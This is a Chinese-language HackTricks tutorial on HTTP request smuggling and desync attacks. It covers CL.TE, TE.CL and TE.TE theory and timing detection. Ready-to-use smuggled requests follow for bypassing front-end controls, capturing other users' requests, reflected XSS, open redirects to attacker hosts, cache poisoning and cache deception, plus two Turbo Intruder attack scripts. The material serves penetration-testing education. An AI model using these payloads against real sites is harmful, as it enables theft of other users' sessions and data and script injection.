hacktricks/pentesting-web/http-request-smuggling/README.md

25 KiB
Raw Blame History

HTTP请求走私 / HTTP解同步攻击

从零开始学习AWS黑客攻击直到成为专家通过 htARTE (HackTricks AWS红队专家)

其他支持HackTricks的方式

什么是

前端代理后端服务器之间的不同步允许攻击者发送一个HTTP请求,该请求被前端代理(负载均衡/反向代理)解释为单个请求,而被后端服务器解释为两个请求时,就会发生这种漏洞。
这允许用户修改下一个到达后端服务器的请求

理论

RFC规范 (2161)

如果一条消息同时收到了Transfer-Encoding头字段和Content-Length头字段后者必须被忽略。

Content-Length

Content-Length实体头指示发送给接收者的实体-体的大小,以字节为单位。

Transfer-Encoding: chunked

Transfer-Encoding头指定用于安全传输有效载荷体到用户的编码形式。
Chunked意味着大数据以一系列块的形式发送

现实

前端(一个负载均衡/反向代理)处理content-lengthtransfer-encoding头,而后端服务器处理另一个头,导致两个系统之间的不同步
这可能非常关键,因为攻击者将能够发送一个请求到反向代理,该请求将被后端服务器解释为两个不同的请求。这种技术的危险在于后端服务器将解释注入的第二个请求,好像它是来自下一个客户端,而该客户端的真实请求将成为注入请求的一部分。

特点

记住在HTTP中一个新行字符由2个字节组成

  • Content-Length:此头使用一个十进制数来指示请求字节数。请求体预期在最后一个字符结束,请求结束时不需要新行
  • Transfer-Encoding:此头在中使用一个十六进制数来指示下一个块字节数必须以新行结束,但这个新行不被长度指示器计算。这种传输方法必须以大小为0的块结束后跟2个新行0
  • Connection:根据我的经验,建议在请求走私的第一个请求中使用**Connection: keep-alive**。

基本示例

因此,请求走私攻击涉及将Content-Length头和Transfer-Encoding头放入单个HTTP请求中并操纵这些头使前端和后端服务器以不同的方式处理请求。具体做法取决于两个服务器的行为

  • CL.TE:前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头。
  • TE.CL:前端服务器使用Transfer-Encoding头,后端服务器使用Content-Length头。
  • TE.TE:前端和后端服务器都支持Transfer-Encoding头,但可以通过某种方式混淆头来诱导其中一个服务器不处理它。

CL.TE漏洞

在这里,前端服务器使用**Content-Length头,而后端服务器使用Transfer-Encoding**头。我们可以执行一个简单的HTTP请求走私攻击如下所示

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

注意Content-Length指示请求体长度为30字节记住HTTP使用新行所以每个新行2字节),因此反向代理将发送完整的请求到后端,后端将处理Transfer-Encoding头,留下GET /404 HTTP/1.1作为下一个请求的开始(顺便说一下,下一个请求将附加到Foo:x<Next request starts here>)。

TE.CL漏洞

在这里,前端服务器使用Transfer-Encoding头,后端服务器使用Content-Length头。我们可以执行一个简单的HTTP请求走私攻击如下所示

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

在这种情况下,反向代理发送整个请求后端,因为**Transfer-encoding头指示了这样做。但是,后端将只处理**7b4字节,如Content-Length中所示。因此,下一个请求将从GET /404 HTTP/1.1开始

注意,即使攻击必须以0结束,下一个请求也将作为x参数的额外值附加。
还要注意嵌入请求的Content-Length将指示下一个请求的长度该请求将附加到x参数。如果它太小,只有几个字节将被附加,如果太大(大于下一个请求的长度),将为下一个请求抛出错误。

TE.TE漏洞

在这里,前端和后端服务器都支持Transfer-Encoding头,但可以通过某种方式混淆头来诱导其中一个服务器不处理它。
混淆Transfer-Encoding头的方法可能是无穷无尽的。例如:

Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked

根据停止处理 TE头的服务器(反向代理或后端),您将发现CL.TE漏洞TE.CL漏洞

发现HTTP请求走私

使用时序技术发现CL.TE漏洞

如果应用程序对CL.TE变体的请求走私漏洞敏感那么发送如下请求通常会导致时间延迟

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

由于前端服务器使用 Content-Length 头,它将只转发这个请求的一部分,省略了 0。后端服务器使用 Transfer-Encoding 头,处理第一个块,然后等待下一个块到达。这将导致一个可观察的时间延迟。

有时你不会得到超时而是从最终主机收到一个400错误请求就像在以下情况中发送了一个CL.TE负载

响应是一个包含错误的重定向在正文中甚至包含了haproxy的版本

使用时序技术发现TE.CL漏洞

如果应用程序对TE.CL变体的请求走私漏洞敏感那么发送如下请求通常会导致时间延迟

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
由于前端服务器使用 `Transfer-Encoding` 头,它将只转发这个请求的一部分,省略了 `X`。后端服务器使用 `Content-Length` 头,期望消息体中有更多内容,并等待剩余内容的到来。这将导致一个可观察的时间延迟。

### 探测HTTP请求走私漏洞

一旦你发现**定时技术有效**,你需要**探测**你是否可以**改变其他客户端的请求**。\
最简单的方法是尝试污染你自己的请求,例如**发出对`/`的请求返回404**。\
在[基本示例](./#basic-examples)中,我们已经看到了`CL.TE`和`TE.CL`的例子,如何通过请求`/404`来污染客户端的请求当客户端请求其他资源时引发404响应。

**注意**

在尝试通过干扰其他请求来确认请求走私漏洞时,应该牢记一些重要的考虑因素:

* "攻击"请求和"正常"请求应该使用不同的网络连接发送到服务器。通过同一连接发送两个请求将无法证明漏洞的存在。
* "攻击"请求和"正常"请求应该尽可能使用相同的URL和参数名。这是因为许多现代应用程序会根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数增加了请求将由同一后端服务器处理的机会这对攻击的成功至关重要。
* 在测试"正常"请求以检测是否受到"攻击"请求的干扰时,你正在与应用程序同时接收的任何其他请求(包括来自其他用户的请求)竞争。你应该在"攻击"请求之后立即发送"正常"请求。如果应用程序很忙,你可能需要进行多次尝试来确认漏洞。
* 在一些应用程序中,前端服务器充当负载均衡器,并根据某种负载均衡算法将请求转发到不同的后端系统。如果你的"攻击"和"正常"请求被转发到不同的后端系统,那么攻击将失败。这是你可能需要尝试多次才能确认漏洞的另一个原因。
* 如果你的攻击成功干扰了后续请求,但这不是你发送的用于检测干扰的"正常"请求,这意味着另一个应用程序用户受到了你攻击的影响。如果你继续进行测试,这可能会对其他用户造成破坏性影响,你应该谨慎行事。

### 通过逐跳头部强制执行

滥用逐跳头部,你可以指示代理**删除头部Content-Length或Transfer-Encoding从而可能滥用HTTP请求走私**。
Connection: Content-Length

有关**跳跃式头部hop-by-hop headers**的更多信息,请访问:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

滥用HTTP请求走私

绕过前端安全控制

有时前端代理会执行一些安全检查。您可以通过滥用HTTP请求走私来避免这些检查因为您将能够绕过保护措施。例如,在此示例中,您无法从外部访问/admin,前端代理正在检查这一点,但这个代理没有检查嵌入的请求

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

揭示前端请求重写

在许多应用程序中,前端服务器在将请求转发到后端服务器之前会对请求进行一些重写,通常是通过添加一些额外的请求头部。
一个常见的做法是向请求中添加头部X-Forwarded-For: <客户端的IP>或类似的头部以便后端知道客户端的IP。
有时,如果您能够找到哪些新值被附加到请求中,您可能能够绕过保护措施访问隐藏的信息/端点

为了发现代理如何重写请求,您需要找到一个POST参数后端会在响应中反映其值。然后,将此参数作为最后一个参数,并使用类似这样的漏洞利用:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

在这种情况下,下一个请求将被附加在search=之后,这也是将要在响应中反映其值的参数,因此它将反映下一个请求的头部

请注意,只有嵌入请求的Content-Length头部中指示的长度将被反映。如果您使用较低的数字,只会反映几个字节;如果您使用的数字大于所有头部的长度,则嵌入的请求将抛出错误。然后,您应该从一个小数字开始逐渐增加,直到您看到所有您想看到的内容。
还请注意,这种技术也可以利用TE.CL漏洞,但请求必须以search=\r\n0结束。然而,无论新行字符如何,值都将被附加到搜索参数。

最后请注意,在这次攻击中,我们仍然是在攻击自己以了解前端代理如何重写请求。

捕获其他用户的请求

如果您能找到一个POST请求该请求将保存其中一个参数的内容您可以将以下请求作为该参数的值附加上去以便存储下一个客户端的请求

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

在这种情况下,参数comment的值将被保存在页面上一个公开可见的帖子的评论中,因此将出现一个带有下一个请求内容的评论

这种技术的一个限制是它通常只能捕获到走私请求中适用的参数分隔符之前的数据。对于URL编码的表单提交这将是&字符,这意味着从受害用户请求中存储的内容将在第一个&处结束,这甚至可能出现在查询字符串中。

还请注意,这种技术也可以利用TE.CL漏洞,但请求必须以search=\r\n0结束。然而,无论新行字符如何,值都将被附加到搜索参数。

利用HTTP请求走私来利用反射型XSS

如果网页也容易受到反射型XSS的攻击您可以滥用HTTP请求走私来攻击网站的客户端。从HTTP请求走私利用反射型XSS有一些优势

  • 不需要与受害用户进行互动
  • 它可以用来利用在正常反射型XSS攻击中无法轻易控制的请求部分的XSS行为例如HTTP请求头部。

如果一个网站在User-Agent头部容易受到反射型XSS的攻击您可以使用以下有效载荷来利用它

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=

利用HTTP请求走私将站内重定向变为开放重定向

许多应用程序执行从一个URL到另一个URL的站内重定向并将请求的Host头部中的主机名放入重定向URL中。例如Apache和IIS Web服务器的默认行为当请求一个没有尾部斜杠的文件夹时会收到一个重定向到包含尾部斜杠的同一文件夹的重定向

GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

这种行为通常被认为是无害的,但它可以在请求走私攻击中被利用,将其他用户重定向到外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的请求将触发重定向到攻击者的网站,这将影响后端服务器处理的下一个用户请求。例如:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

在这里用户请求的是网站上的页面导入的JavaScript文件。攻击者可以通过在响应中返回他们自己的JavaScript来完全危害受害用户。

利用HTTP请求走私执行Web缓存投毒

如果前端基础设施的任何部分执行内容缓存(通常出于性能原因),那么可能可以通过修改服务器的响应来投毒该缓存

我们已经看到了如何修改服务器返回的预期值为404基本示例中),以类似的方式,您可以使服务器在投毒请求请求/static/include.js时返回/index.html的内容。这样,/static/include.js的内容将被缓存为/index.html的内容,使得/static/include.js对客户端不可访问DoS?)。

请注意,如果您发现一些开放重定向或一些站内重定向到开放重定向(上一节),这将更加有趣。因为,您可以更改/static/include.js的缓存值由您控制的脚本的值(对所有尝试下载新版本的/static/include.js的客户端进行普遍的XSS攻击)。

在这个示例中,将展示如何利用缓存投毒+站内重定向到开放重定向来修改/static/include.js的缓存内容,以提供攻击者控制的JS代码

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1

注意嵌入的请求是请求/post/next?postId=3。这个请求将被重定向到/post?postId=4,并将使用Host头部的值来指示域名。因此,您可以修改Host头部指向攻击者的服务器,重定向将使用该域名(站内重定向到开放重定向)。

然后,在投毒套接字之后,您需要发送一个GET请求到**/static/include.js,这个请求将被站内重定向到开放重定向请求投毒**,并将抓取攻击者控制的脚本的内容

下次有人请求/static/include.js将提供攻击者脚本的缓存内容普遍的XSS

利用HTTP请求走私执行Web缓存欺骗

Web缓存投毒和Web缓存欺骗之间有什么区别

  • Web缓存投毒中,攻击者导致应用程序在缓存中存储一些恶意内容,这些内容从缓存中提供给其他应用程序用户。
  • Web缓存欺骗中,攻击者导致应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。

在这种变体中,攻击者走私了一个返回一些敏感的用户特定内容的请求。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X

如果投毒达到了正在访问一些静态内容/someimage.png的客户端,这些内容将被缓存。受害者的/private/messages内容将被缓存在/someimage.png中,攻击者将能够窃取它们。
请注意,攻击者不知道受害者试图访问哪些静态内容,所以测试这个可能的最佳方式是执行攻击,等待几秒钟,加载所有静态内容并搜索私人数据

利用HTTP响应不同步武器化HTTP请求走私

您发现了一些HTTP请求走私漏洞但不知道如何利用它。尝试这些其他利用方法

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Turbo intruder 脚本

CL.TE

来自 https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

来自:https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

更多信息

图片来源于此。

工具

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击

其他支持HackTricks的方式